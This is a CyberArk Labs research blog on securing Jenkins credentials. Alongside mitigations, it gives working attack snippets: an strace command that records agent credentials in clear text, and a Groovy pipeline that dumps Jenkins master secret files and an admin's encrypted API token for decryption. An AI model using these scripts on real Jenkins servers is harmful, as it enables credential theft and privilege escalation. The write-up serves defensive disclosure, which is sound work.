Configuring and Securing Credentials in Jenkins

 

Enterprise DevOps teams today have the ability to deliver high-quality products and services to market faster and more efficiently than ever before. That’s in part made possible through the use of DevOps methodologies and tools, such as Jenkins.

Like other tools, Jenkins needs to interface with a myriad of systems and applications throughout DevOps environments. It needs unabridged access to code and artifacts, and to accomplish its role as the ‘butler,’ Jenkins must have access to a considerable breadth of credentials – or secrets – from usernames and passwords to source control and artifact deployment.

It’s these secrets that are increasingly sought out by attackers to carry out cyber security attacks – and this research demonstrates how. After spotlighting three security best practices, this blog shows how a relatively low-privileged job configurator user is able to expose some of an organization’s top secrets, such as deployment credentials, GitHub tokens and other infrastructure-related secrets.

This is the first in a series of upcoming research from CyberArk Labs on Jenkins credentials management. The series will explore best practices for securing Jenkins, and shine a light on noteworthy weaknesses related to misconfigured environments.

Jenkins is a valuable tool, and it’s the CyberArk Labs’ goal to educate organizations on security risks and offer recommended mitigations and best practices for ensuring security and DevOps velocity.

Jenkins: The De Facto DevOps Engine

Jenkins is an open source automation server used to accelerate the software delivery process. Originally created by Kohsuke Kawaguchi, Jenkins is now supported by CloudBees and is widely considered the de facto standard in open source continuous integration tools with more than 165,000 active installations, an average increase of about 1,700 new installation every month, and an estimated 1.5 million users around the world.

Jenkins pipeline projects have become the method of choice for enterprise organizations looking to implement and integrate continuous delivery (CD) pipelines, which are automated expressions of the process for getting software from version control to users and customers, into Jenkins because of their scalability. Jenkins supports building CD pipelines through either a web UI or a scripted Jenkinsfile committed to source control. Pipelines contain the complete set of encoded steps necessary to define the entire build lifecycle, and they add a powerful set of automation tools to Jenkins, supporting use cases that span from simple continuous integration (CI) to comprehensive CD pipelines.

Configuring the Jenkins pipeline web UI is done by a special user, defined with the Job/Configure permission. The Jenkinsfiles, on the other hand, are committed to the source control. Both types require configurations made via the Groovy programming language with a set of Pipeline syntax (actually two discrete syntaxes) and coding rules.

One challenge here is that the Groovy programming language isn’t so widely understood and used. According to the TIOBE Programming Community Index, it’s ranked 65 alongside F# and Euphoria. However, before hiring a Groovy expert to program Jenkins pipelines, it’s important to understand the security implications of Jenkins pipelines and how to best secure secrets.

Best Practices for Securing Jenkins Secrets

The Jenkins credentials plugin provides a default internal credentials store, which can be used to store high value or privileged credentials, such as Amazon bucket deployment username/password combinations and GitHub user tokens. The Jenkins credential plugin is better than some alternatives, but vulnerabilities can be introduced when it is not configured or patched correctly. As such, proper Jenkins security and configuration is essential in protecting secret and application integrity from non-trusted users.

Secrets passed to code via the Jenkins credentials binding plugin are susceptible to exposure by developers with access to project files, even when they are not allowed access to Jenkins at all. Jenkins admins need to be aware of these privileges so they can properly design their infrastructure to minimize overexposure. Untrusted parties should also be prevented from configuring Jenkins jobs, and Jenkins should be carefully segmented with multiple numbers of job configurator users.

Here are three best practices:

• Segment Jenkins jobs according to credential usage. Use a ‘least exposure principle’ to limit credentials exposure in the Jenkins pipeline. Make sure credentials are visible to the minimum essential number of users and processes. As CloudBees suggests, prevent untrusted parties from configuring jobs and make sure valuable credentials (e.g., deployment tokens) are segregated by appropriate access restrictions or deployed from a second secure Jenkins server.
• Enforce the least privilege principle. Utilize transient non-privileged containers as Jenkins agents, where possible, and have separate identities and secrets for build (the ‘dev’ side) and publish (the ‘ops’ side) to allow better control and audit.
• Make the Jenkins master your fortress. Use zero executors on master to minimize access to master secrets and code execution. Make sure all administrative access to the Jenkins master is isolated, monitored and controlled using CyberArk’s Privileged Session Manager (PSM). Lastly, set up comprehensive network monitoring to minimize unauthorized network access to the Jenkins master.

The default Jenkins plugin setup is not ideal. A more secure way to manage Jenkins secrets is to inject secrets to code and applications as needed (secrets-as-a-service) with CyberArk Conjur and Summon. For more information on this, read the “Untangling Jenkins” blog post.

Storing and Managing Credentials

The JENKINS_HOME directories allow anyone to decrypt and expose all secrets used by Jenkins. This is because most of the Jenkins internal credentials store is encrypted using keys that are also stored in JENKINS_HOME, so it becomes critical to secure the file system of the Jenkins master process.

Jenkins generally manages credentials entry and usage using the web API. For example, when adding new AWS credentials to Jenkins in the manage/configure system page, the following dialog is seen:

Caption: Add Credentials Screen

The domain parameter is used to partition certain credentials. Each credential’s domain is really defining an identity type. The domain specifications define how to determine which identity might be valid against any specific service. For example, when selecting Git as the SCM in the pipeline job webpage, the credentials drop down gets activated and returns all credentials within scope that are of Git type (e.g., username and password and tokens).

To make it easier for the user to select the correct credentials, Jenkins domains may be used to sort and display only the relevant credentials, simplifying configuration for the user. However, from a security point of view, credential domains are not intended to restrict access to credentials in any way.

For the purposes of this research, CyberArk Labs uses one global credentials domain.

The scope parameter’s dropdown is open and showing two possible selections:

• Global Scope – This is the default scope. Global scope credentials are available to all jobs within Jenkins, so that all Jenkins jobs are allowed to use global-scoped credentials.
• System Scope – These credentials are only exposed to the Jenkins system and background tasks where the Jenkins instance itself is using the credentials, and will not be available to jobs within Jenkins. Unlike the global scope, this significantly restricts where the credential can be used, thereby providing a higher degree of confidentiality to the credential. For example, a system-scoped credential can be used to launch a build agent.

Adding and updating credentials can be done by admins, which are users with administer or create/update permissions, better known as privileged access.

User permissions may be defined in the configure global security page under manage Jenkins, as seen here:

Caption: Defining user’s privileges using Matrix-based security

Above, in blue is the Overall/Administer permission, which provides admin users with unconstrained control over Jenkins. Marked in yellow are the Credentials permissions, which include Credentials/Create, Credentials/Delete and Credentials/Update permissions. Marked in red is the Job/Configure permission. Jenkins users with this permission are in charge of programming and maintaining the Jenkins pipeline scripts. They are called job configurators and described in more detail in the sections below.

Code-Embedded Credentials, the Credentials Binding Plugin and Job Configurator Users

Stories of AWS access keys being improperly secured in code repositories are far too common these days. The now infamous Uber breach is a perfect example in which attackers located Amazon S3 credentials in a GitHub code repository and used them to steal sensitive data, such as credentials or secrets that allow the attacker to move laterally.

Some Jenkins programmers keep secrets out of source code by instead moving them into Jenkins and utilizing the credentials binding plugin to inject those credentials into the code, when necessary. This is more secure than hardcoding secrets in code, but using the credentials binding plugin as part of a pipeline can become a security vulnerability when not completely understood or misconfigured.

Low-privileged Jenkins users with Job/Configure permissions are typically in charge of defining the pipeline job with pipeline syntax and the Groovy scripting language. This becomes a problem, however, when these users’ privileges are escalated. A recent Jenkins security advisory illustrates this, outlining exactly how several plugin vulnerabilities “allow users with relatively low privileges (like Overall/Read or Job/Configure) to run arbitrary code in Jenkins.”

Jenkins users with Job/Configure permissions have extensive capabilities in the Jenkins context:

1. They can run any executable on the Jenkins agents
2. They can request any set of credentials defined in their scope (global or otherwise) to be injected to agents using the credentials binding plugin

The credentials binding plugin lets the pipeline code and the job configurator users pass application secrets, or any kind of sensitive data, to the build agent. For example, if application code requires access to an Amazon account, instead of storing the access credentials in code (a security no-no), the plugin injects those secrets into the process in real time.

Using the credentials binding plugin is quite simple. Users simply add a withCredentials statement to their Groovy pipeline script with the credentials ID.

An example pipeline using with Credentials might be:

node {
  withCredentials( [usernamePassword( credentialsId: 'amazon', 
                                      usernameVariable: 'USERNAME', 
                                      passwordVariable: 'PASSWORD')]) {
        // build project
        sh 'mvn clean install'
    }
}

Caption: Pipeline Groovy Script snippet

In the above example, the pipeline job instructs Jenkins to grab the Amazon credentials by using the ‘amazon’ credentials ID, injecting the Amazon username and password into the process as variables USERNAME and PASSWORD, and running a maven build.

 Jenkins does not treat credential IDs like other secrets, and they are readable by every Jenkins user, even read only users, on the Jenkins credentials page.

Caption: Jenkins credentials web page

Using the credential binding plugin is more convenient and more secure than leaving them in code or some other insecure place on disk. However, when the Jenkins with Credentials exposes all credentials in the global scope – as it does in the Groovy Script snippet above – to any pipeline and any job configurator user, an attacker can quickly elevate ‘relatively low privileged’ job configurator users to privileged users who hold the ‘keys to the kingdom,’ with access to AWS secret keys, deployment credentials, Git access keys and passwords, and more.

Eavesdropping on Linux Master-Agent Connection

Here we use a sample project forked from https://github.com/getintodevops. The following code snippet is the Jenkins file pipeline:

node('ubuntu') {
    stage('Clone repository') {
        /* Let's make sure we have the repository cloned to our workspace */
        checkout scm
    }
    stage('Build Docker image') {
        /*builds the image; synonymous to Docker build on the command line */
        app = docker.build("nimrods8/helloisrael")
    }
    stage('Test Docker image') {
        app.inside {
            sh 'echo "Tests passed"'
        }
    }
    stage('Push Docker image') {
        /* Finally, we'll push the image with two tags:
         * First, the incremental build number from Jenkins
         * Second, the 'latest' tag.
         * Pushing multiple tags is cheap, as all the layers are reused. */
        docker.withRegistry('https://registry.hub.docker.com', 'docker-hub-credentials') {
            app.push("${env.BUILD_NUMBER}")
            app.push("latest")
        }
    }
    stage('Send slack notification') {
         slackSend color: 'good', message: 'Message from Jenkins Pipeline'
    }
}

Caption: Job’s complete Groovy script

This Jenkinsfile can either be typed into the Jenkins job configuration web page by the job configurator user, or pushed into the code repository (“pipeline-as-code”). In this case, the Groovy script above checks out the code from the GitHub repository (‘clone repository’ stage), builds it as a Docker image (‘build docker image’ stage), tests that the image is working correctly (‘test docker image’ stage), deploys the Docker image to the Docker hub (‘push docker image’ stage) ,  and finally sends a Slack message to the customer that the image is ready (‘slack notification’ stage).

This pipeline script instructs Jenkins to implicitly download three sets of credentials to the agent:

• GitHub credentials are used by the agent to access GitHub and clone the code repository in the ‘clone repository’ stage
• Docker hub credentials are used by the agent to deploy the built and tested code in the ‘push docker image’ stage
• Slack account credentials are used to send a Slack message to the developers and customers

When the Jenkins master connects through SSH to an agent, it is dropped into a shell session, which is a text-based interface where the master (SSH client) and agent (SSH server) can interact. For the duration of the SSH session, any commands that the master sends into the agent’s local terminal are sent through an encrypted SSH tunnel and executed on the agent.

Since the agent’s shell session is a text-based console, which executes the commands sent by the master, a man-in-the-console (‘MITC’) can be setup to capture all the clear-text, unencrypted commands the Jenkins master is sending to the agent.

Caption: SSH connection between master and agent is encrypted, however, on the agent’s terminal, information is flowing clear-text

One easy way of achieving that is using strace as a useful diagnostic, instructional and debugging tool that intercepts and records system calls, which are called by a process. The following Groovy script uses strace as a logging utility to listen on the specified console and to log all data going through it in both directions.

stage( ‘Start Java listener’)   {
    sh   ‘strace –fp $(pidof java) -v -e read,write -s 9999 -o ~/getIntoDevOps.2 &’
}

Caption: Running strace on the agent’s java process in order to record credentials downloaded from Master to Agent

By probing the getIntoDevOps.2 text file generated by strace, CyberArk Labs found the following credentials were transferred to the agent unencrypted:

GitHub Credentials:

Caption: Build console containing GitHub’s clear-text username and password

Docker Hub Deployment Credentials:

Caption: Build console dump containing Docker Hub deployment base-64 encoded credentials

Slack Credentials:

Caption: Build console dump containing Slack’s clear-text integration token

As seen, the job configurator user (or any committer to the code repository capable of writing the Jenkinsfile) can dump the most important credentials an organization may possess by using a single strace command.

Attacking the Upstream Client

Becoming a MITC provides another avenue of attack for job configurator users/Jenkinsfile committers. MITCs can modify files downloaded all the way up to Jenkins master clients.

Jenkins allows all users, from read only to admin, to download artifacts from the workspace. For example:

Caption: Jenkins pipeline job workspace web page, showing all source files and build artifacts

When a Jenkins user clicks on any of the links displayed on their browser’s workspace webpage, the master will upload the requested file from the agent to the client.

For example, if a user clicks the package.json link on the workspace webpage above, the master would upload the file to user’s PC. Below is a strace log for the upload of the package.json file:

Agent reads the package.json file from local disk:

27972 read(68, "{\r\n  \"name\": \"getintodevops-hellonode\",\r\n  \"version\": \"1.0.0\",\r\n  \"description\": \"A Hello World HTTP server\",\r\n  \"main\": \"main.js\",\r\n  \"scripts\": {\r\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\r\n    \"start\": \"node main.js\"\r\n  },\r\n  \"repository\": {\r\n    \"type\": \"git\",\r\n    \"url\": \"https://github.com/getintodevops/hellonode/\"\r\n  },\r\n  \"keywords\": [\r\n    \"node\",\r\n    \"docker\",\r\n    \"dockerfile\"\r\n  ],\r\n  \"author\": \"[email protected]\",\r\n  \"license\": \"ISC\"\r\n}\r\n\r\n", 4096) = 481

Agent writes the package.json file to Jenkins master within an Output Stream Java Class:

27972 write(25, "\254\355\0\5sr\0'hudson.remoting.ProxyOutputStream$Chunk\0\0\0\0\0\0\0\1\2\0\4I\0\4ioIdI\0\3oidI\0\trequestId[\0\3buft\0\2[Bxr\0\27hudson.remoting.Command\0\0\0\0\0\0\0\1\2\0\1L\0\tcreatedAtt\0\25Ljava/lang/Exception;xpp\0\0\v\36\0\0\2\257\0\0\25\\ur\0\2[B\254\363\27\370\6\10T\340\2\0\0xp\0\0\1\341{\r\n  \"name\": \"getintodevops-hellonode\",\r\n  \"version\": \"1.0.0\",\r\n  \"description\": \"A Hello World HTTP server\",\r\n  \"main\": \"main.js\",\r\n  \"scripts\": {\r\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\r\n    \"start\": \"node main.js\"\r\n  },\r\n  \"repository\": {\r\n    \"type\": \"git\",\r\n    \"url\": \"https://github.com/getintodevops/hellonode/\"\r\n  },\r\n  \"keywords\": [\r\n    \"node\",\r\n    \"docker\",\r\n    \"dockerfile\"\r\n  ],\r\n  \"author\": \"[email protected]\",\r\n  \"license\": \"ISC\"\r\n}\r\n\r\n", 687) = 687

Caption: read and write the package.json file on the console of the Agent as recorded by strace.

By changing the bytes written to the master in the write part above, a malicious MITC can inject any file contents directly to clients’ machines. It may be an innocent package.json file or a malicious JenkinsDemo.exe file.

This can be compared to man-in-the-middle (MITM) attacks on network communications between client and master. In today’s network environment, MITM attacks are destined to fail due to use of end-to-end encryption. Since client-master communication is protected using TLS encryption, and master-agents communication is protected using SSH tunneling (or other encryption types, depending on the type of connection), MITM attacks are rendered useless, while users are given a false sense of security. This is precisely why the attack illustrated above is so dangerous.

Job Configurator Abusing Master Executors

Now let’s see how easy it is for the job configurator user to steal admin credentials and abuse them when master executors are not set to zero.

A Jenkins executor is one of the basic building blocks allowing a build to run on a build server. An executor may be thought of as a basic unit of resource that Jenkins executes on a machine to run a build. Executors are defined on the Jenkins web UI for each of the agent nodes and for the master, as the master can also execute Jenkins operations such as builds and backups.

Jenkins administrators sometimes leave the ‘# of executors’ setting in the Jenkins configure system page at its default state (2) and create a larger attack surface for malicious Jenkins users. This allows job configurators/Jenkinsfile committers to elevate their privileges on the Jenkins master.

Following is an example of an attacker elevating privileges by stealing an admin’s API token:

Each Jenkins user is automatically provided with a (random) API token. Whether that user wants it or not, Jenkins supplies it to them. Surprisingly, the user’s API token may be used as a second password to the user’s account REST API interface.

The REST API provides machine-consumable remote access API to Jenkins functionalities. Remote access API supports both retrieval of information and command execution.

Three pieces of information are needed to obtain the API token of any user:

• The API token itself. This is, however, encrypted. The good part is that it is using a symmetric encryption, which can be reversed or decrypted quite easily. Two more files are needed to do so.
• The master key – a string of numbers saved in a file on the Jenkins /secrets directory.
• The hudson.Util.Secret – a binary file that contains another key required for decryption of the API token. This is also present in the Jenkins /secrets directory.

Requiring three pieces of information makes it harder for attackers to get the clear-text API token unless they are all kept in the same place.

The two secrets and encrypted API token can be dumped to the Jenkins build log by using the following pipeline Groovy script:

node ('master') {
    def fileContents = readFile file: "/var/lib/jenkins/secrets/master.key", encoding: "UTF-8"
    
	// **** dump master.key file contents to Build log ****
	println fileContents	

	// **** dump encrypted API Token from admin's config.xml file to Build log ****
    def apiContents = readFile file: "/var/lib/jenkins/users/admin/config.xml", encoding: "UTF-8"
    def api1 = apiContents.split( '');
    def api2 = api1[1].split( '');
    println "API Token is:\n" + api2[0];
    
	// **** dump hudson.util.Secret file to Build log ****
    int[] fileContentsHudson = readFile file: "/var/lib/jenkins/secrets/hudson.util.Secret", encoding: "ISO-8859-1"
    String str = 'Secrets/hudson.Util.Secret:\nPass 1:\n';
    for( int i = 0; i < fileContentsHudson.size(); i++)
    {
        int  a = (int)fileContentsHudson[i];
        str = str + String.format("%02X-",a);
    }
    println str
}

Caption: Pipeline Groovy script to dump API token and required files from Jenkins Master

The API token is still encrypted, but using a small application – called Jenkins Decrypt – developed by CyberArk Labs, the admin’s API token is decrypted and later abused, as shown in the following demo.

 

The default is 2, but the best mitigation to this exploit is making sure the Jenkins master’s executors are set to zero.

Conclusion

As stated above, Jenkins is a valuable tool – it just needs to be secured and configured correctly. Misconfigurations can be easy, resulting in the exposure of secrets.

Stay tuned for more research on the Jenkins automation server from CyberArk Labs.